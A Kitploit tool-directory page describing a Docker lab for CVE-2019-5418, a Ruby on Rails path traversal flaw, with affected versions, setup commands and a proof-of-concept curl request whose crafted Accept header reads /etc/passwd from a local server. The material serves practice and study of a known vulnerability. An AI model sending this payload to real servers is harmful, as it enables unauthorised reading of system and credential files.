Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-5418 — Docker-based lab environment for CVE-2019-5418 Ruby on Rails path traversal exploit, with PoC curl commands to read arbitrary server files via crafted Accept headers. | Kitploit
Tools/GitHubGitHub/daehyeok0618/cve-2019-5418
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdaehyeok0618/cve-2019-5418

CVE-2019-5418

Docker-based lab environment for CVE-2019-5418 Ruby on Rails path traversal exploit, with PoC curl commands to read arbitrary server files via crafted Accept headers.

View Repository
21 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-5418: Ruby on Rails Path Traversal & Arbitrary File Read

This project is an environment for practicing and reproducing the local file inclusion vulnerability (CVE-2019-5418) in Ruby on Rails. This vulnerability allows reading arbitrary files on the server through path traversal via the Accept header.

Vulnerability Summary

Ruby on Rails is a web application framework that allows developers to build web applications quickly and easily.

Ruby on Rails Action View versions <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 have a local file inclusion vulnerability.

When render file is used in a controller to render a view from outside the application, Rails determines the file location based on the user-supplied Accept header. By sending an Accept header with the value Accept: ../../../../../../../../etc/passwd{{, an attacker can exploit a path traversal vulnerability to read arbitrary files.

Environment Setup

Run the following commands to compile and start Ruby on Rails 5.2.2:

root@kitploit:~
docker compose build
docker compose up -d

After the server starts, you can visit the Ruby on Rails page by accessing http://your-ip:3000. image1

PoC Example

root@kitploit:~
curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots

image2 Successfully read arbitrary files inside the server through the Accept header.

Download Tool